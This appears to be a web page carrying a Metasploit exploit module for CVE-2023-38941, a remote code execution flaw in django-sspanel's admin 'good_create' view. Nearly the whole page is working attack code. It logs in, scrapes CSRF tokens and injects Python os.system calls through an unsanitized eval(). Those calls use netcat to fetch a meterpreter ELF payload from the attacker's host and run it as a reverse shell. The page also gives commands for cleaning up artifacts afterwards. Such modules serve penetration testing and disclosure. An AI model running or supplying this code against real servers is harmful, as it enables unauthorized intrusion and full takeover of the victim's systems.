Home CVE-2023-38941 Django SSPanel good_create RCE
Page

CVE-2023-38941 Django SSPanel good_create RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#       This payload is configured for:
#       msfvenom -p linux/x86/meterpreter_reverse_tcp --format elf
#
# This exploit is for django-sspanel <= 2022.2.2 CVE-2023-38941
#
# We're using an authenticated page to abuse an unsanitized eval() in the
# function that controls the transfer key's value.  When that value is called
# we can use the value as python code.  To get here we need to log in and
# grab two csrfmiddleware tokens, and keep a viable cookie jar.  Once logged
# in, we push our python code, drop a shell with netcat, and boom.  This was
# tested on django-sspanel 2022.2.2, but should work on earlier versions.
#
#                                                           -- Marshall / oxagast
#                                                              oxagast@oxasploits.com
#
# rev. 5
#
# Exploit cleanup can be done with the following resource script, so
# rename cleanup.rc and once in the meterpreter shell, just call:
# resource /tmp/cleanup.rc
#
# execute -f /bin/rm -a "/tmp/shell*"
# sysinfo
# getuid
#

require "nokogiri"
require "msf/core"
require "socket"
$stdout.sync = true
$csrftoken = ""

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
                      "Name" => "Authenticated abuse of unsanitized eval() in django-sspanel <= 2022.2.2 leads to RCE",
                      "Description" => %q{
                         This vulnerabilitly exists in an unsanitized eval() function, within the my_admin/good_create/ or in
                         the code as apps/sspanel/admin_views.py on line 221. This allows us to inject arbitrary python code 
                         (one line only).  To do this we have to be authenticated, so we must use our cookie jar, as well as
                         use two different methods of grabbing the csrfmiddlewaretoken as it is presented two completely
                         different ways.  Once logged in, we navigate from login to the home page, and then to good_create,
                         were the code injection becomes trivial by modifying the "transfer" key's value.
      },
                      "Author" => [
                        "Marshall Whittaker",    # oxagast
                      ],
                      "License" => MSF_LICENSE,
                      "Platform" => "linux",
                      "Arch" => [ARCH_X86],
                      "CmdStagerFlavor" => ["printf"],
                      "References" => [
                        ["URL", "https://github.com/Ehco1996/django-sspanel"],
                        ["URL", "https://github.com/Ehco1996/django-sspanel/blob/master/apps/sspanel/admin_views.py#L209-L226"],
                        ["CVE", "CVE-2023-38941"],
                        ["CWE", "77"],
                      ],
                      "Targets" => [
                        ["django-sspanel <= 2022.2.2", { "Privileged" => true }],
                      ],
                      "DefaultOptions" => {
                        "PAYLOAD" => "linux/x86/meterpreter_reverse_tcp",  # lets use a x86 meterpreter rev (others may work)
                      },
                      "Payload" => {
                        "Format" => "elf",    # we need a whole executable for this, we use elf on linux
                        "Platform" => "unix",
                      },
                      "Notes" => {
                        "Stability" => [CRASH_SAFE],
                        "Reliability" => [REPEATABLE_SESSION],
                        "SideEffects" => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
                      },
                      "DisclosureDate" => "2023-8-3",
                      "DefaultTarget" => 0))
    register_options(
      [
        Opt::RPORT(8000),
        OptString.new("RHOST", [true, "The target machine's IP", ""]),
        OptString.new("USER", [true, "The user to auth as", ""]),
        OptString.new("PASS", [true, "The user's password", ""]),
        OptString.new("LHOST", [true, "This machine's IP", ""]),
        OptInt.new("LSERVPORT", [true, "The port to listen on for pushing the payload", 6789]),
      ], self.class
    )
    register_advanced_options([
      OptBool.new("HANDLER", [true, "Start an exploit/multi/handler job to receive the connection", true]),
    ])
    deregister_options("VHOST", "Proxies", "RHOSTS", "SSL")
  end

  def listen(payl, lsp)
    print_status("Starting payload push socket...")
    serv = TCPServer.new("#{lsp}")
    s = serv.accept
    s.write("#{payl}")
    s.close
  end

  def login(user, pass)
    res = send_request_raw(
      "uri" => "/login/",
      "method" => "GET",
      "keep_cookies" => true,
      "ctype" => "text/html",
    )
    # csrf middlewear token looks like
    #  name="csrfmiddlewaretoken" value="kfv4bSXx0IdfKXNS8EDElYO96YJp1kZVI4ETh49Tjqdq6yw7uxkhRyHLnH0LNSr5">
    fail_with(Failure::UnexpectedReply, "We got an unexpected reply from the server, usually this is a failure connecting to the host.") unless res
    if res.body.match("sspanel")
      print_good("Good, this looks like django-sspanel")
    else
      print_bad("Oof. This doesn't look like django-sspanel! Trying anyway...")
    end
    cook = res.get_cookies
    doc = Nokogiri::HTML(res.body)
    doc.xpath("//form/input[@name='csrfmiddlewaretoken']").each do |elements|
      $csrftoken = elements.values[2]
    end
    if $csrftoken.length == 64
      print_good("Found a good CSRF Middleware Token! #{$csrftoken}")
      urlencd = URI::Parser.new.escape("csrfmiddlewaretoken=#{$csrftoken}&username=#{user}&password=#{pass}")
      res = send_request_raw(
        "uri" => "/login/",
        "method" => "POST",
        "ctype" => "application/x-www-form-urlencoded",
        "cookie" => "#{cook}",
        "data" => "#{urlencd}",
      )
      fail_with(Failure::UnexpectedReply, "We got an unexpected reply from the server, usually this is a failure connecting to the host.") unless res
      if res.get_cookies.match("__json_message")
        print_good("Login cookie looks good.")
        return(res.get_cookies)
      else
        fail_with(Failure::NoAccess, "We connected, but didn't get a good __json_message cookie. Maybe a bad username or password was supplied?")
      end
    end
    fail_with(Failure::UnexpectedReply, "We connected, but our csrfmiddlewaretoken response doesn't look right.  Is this the right type of server?")
  end

  def injectpy(logincookie, lhst, lsprt)
    res = send_request_raw(
      "uri" => "/users/userinfo/",
      "method" => "GET",
      "cookie" => logincookie,
      "ctype" => "text/html",
    )
    $csrftoken = ""
    print_status("Configuring Payload...")
    bdy = res.body
    cleanbody = bdy.tr("\n", "")
    csrft = cleanbody.match(/csrfmiddlewaretoken: '([A-Za-z0-9]*)',/)
    $csrftoken = csrft[1]
    if $csrftoken.length == 64
      unless cleanbody.match(/var box/)
        print_bad("Warning: This looks like a patched version! Exploit may fail.")
      end
      print_good("Found a good CSRF Middleware Token! #{$csrftoken}")
      print_status("Loading up stager...")
      pay = framework.modules.create(datastore["payload"])
      pay.datastore["LHOST"] = datastore["LHOST"]
      pay.datastore["RHOST"] = datastore["RHOST"]
      pay.datastore["LPORT"] = datastore["LPORT"]
      print_status("Generating payload...")
      payl = pay.generate_simple({ "Format" => "elf" })
      if payl == ""
        fail_with(Failure::PayloadFailed, "Payload generation failed!  Try a different payload?")
      end
      print_good("Payload generated!")
      Thread.new do
        listen(payl, lsprt)
      end
      targexe = "/tmp/shell" + rand(2000).to_s
      cmds = ["nc #{lhst} #{lsprt} > #{targexe}", "chmod 777 #{targexe}", "pkill nc", "#{targexe}"]
      print_status("They rally 'round the family. With a pocket full of shells...")
      cmds.each do |i|
        paylc = "__import__('os').system(\"#{i}\")"
        # post data ->> csrfmiddlewaretoken=PrE2KJWEPzc45mc722x0KQ5GAgPCaTGnM8W8jtPlX9wENBYPYg2tdAeNcff3Y7C3&name=cde&content=dsklfjdlkj&transfer=0&money=10.00&level=1&days=1&status=1&order=1&user_purchase_count=2
        postdat = URI::Parser.new.escape("csrfmiddlewaretoken=#{$csrftoken}&name=a&content=b&transfer=#{paylc}&money=10.00&level=1&days=1&status=1&order=1&user_purchase_count=1")
        print_status("Sending #{i}")
        res = send_request_raw(
          "uri" => "/my_admin/good_create/",
          "method" => "POST",
          "ctype" => "application/x-www-form-urlencoded",
          "cookie" => logincookie,
          "data" => "#{postdat}",
        )
        $stdout.ioflush
      end
      return 0
    end
    fail_with(Failure::UnexpectedReply, "We got an unexpected reply from the server, usually this is a failure connecting to the host.") unless res
  end

  def check
    # we pull then check our variables
    user = datastore["USER"]
    pass = datastore["PASS"]
    rhst = datastore["RHOST"]
    rprt = datastore["RPORT"]
    lhst = datastore["LHOST"]
    lsprt = datastore["LSERVPORT"]
    if user == ""
      fail_with(Failure::BadConfig, "You need to enter a valid username to grab the authentication token!")
    end
    if pass == ""
      fail_with(Failure::BadConfig, "You need to enter a valid password to grab the authentication token!")
    end
    if rhst == "" || rprt == "" || lhst == "" || lsprt == ""
      fail_with(Failure::BadConfig, "You need to set RHOST, RPORT, LHOST, and LSRVPORT properly.")
    end
    res = send_request_raw(
      "uri" => "/",
      "method" => "GET",
      "keep_cookies" => true,
      "ctype" => "text/html",
    )
    fail_with(Failure::Unreachable, "Unable to connect to host #{rhst}!") unless res
    if res.code == 200
      print_good("Connected to host #{rhst}...")
      b = res.body
      cbody = b.tr("\n", "")
      if cbody.match(/sspanel/)
        print_good("Good, this looks like django-sspanel...")
      else
        fail_with(Failure::UnexpectedReply, "This doesn't look like django-sspanel? Try a different server or port.")
      end
    else
      fail_with(Failure::UnexpectedReply, "We connected but did not get a good return code (returned #{res.code} from the host #{rhst}.  Try a different server or port.")
    end
    lcookie = login(user, pass)
    res = send_request_raw(
      "uri" => "/users/userinfo/",
      "method" => "GET",
      "cookie" => lcookie,
      "ctype" => "text/html",
    )
    if res.code != 200
      fail_with(Failure::UnexpectedReply, "We connected, but our http status code was not 200 (returned #{res.code}), this may not be the right type of server...")
    end
    bdy = res.body
    cleanbody = bdy.tr("\n", "")
    unless cleanbody.match(/var box/)
      fail_with(Failure::NotVulnerable, "This version does not contain the box variable.  Probably a patched version! Exploit may fail.")
    else
      if cleanbody.match(/sspanel/)
        print_good("Confirmed we using sspanel and logged in...")
        if cleanbody.match(/var box/)
          print_good("Looking good!  This is a heuristic check on the existance of the box variable, which exists.  This was removed in subsequent versions.")
          return Exploit::CheckCode::Appears("Looks like this may be a vulnerable version of django-sspanel.")
        end
      end
    end
    return Exploit::CheckCode::Unknown("Something went ary with the check method, you can try exploit, but it may not work properly.")
  end

  def exploit
    # we pull then check our variables
    user = datastore["USER"]
    pass = datastore["PASS"]
    rhst = datastore["RHOST"]
    rprt = datastore["RPORT"]
    lhst = datastore["LHOST"]
    lsprt = datastore["LSERVPORT"]
    if user == ""
      fail_with(Failure::BadConfig, "You need to enter a valid username to grab the authentication token!")
    end
    if pass == ""
      fail_with(Failure::BadConfig, "You need to enter a valid password to grab the authentication token!")
    end
    if rhst == "" || rprt == "" || lhst == "" || lsprt == ""
      fail_with(Failure::BadConfig, "You need to set RHOST, RPORT, LHOST, and LSRVPORT properly.")
    end
    # login routine here
    logincookie = login(user, pass)
    injectpy(logincookie, lhst, lsprt)
    print_good("Boom.  Exploit complete!")
    # post to my_admin/good_create (transfer key!) <-- vuln
  end
end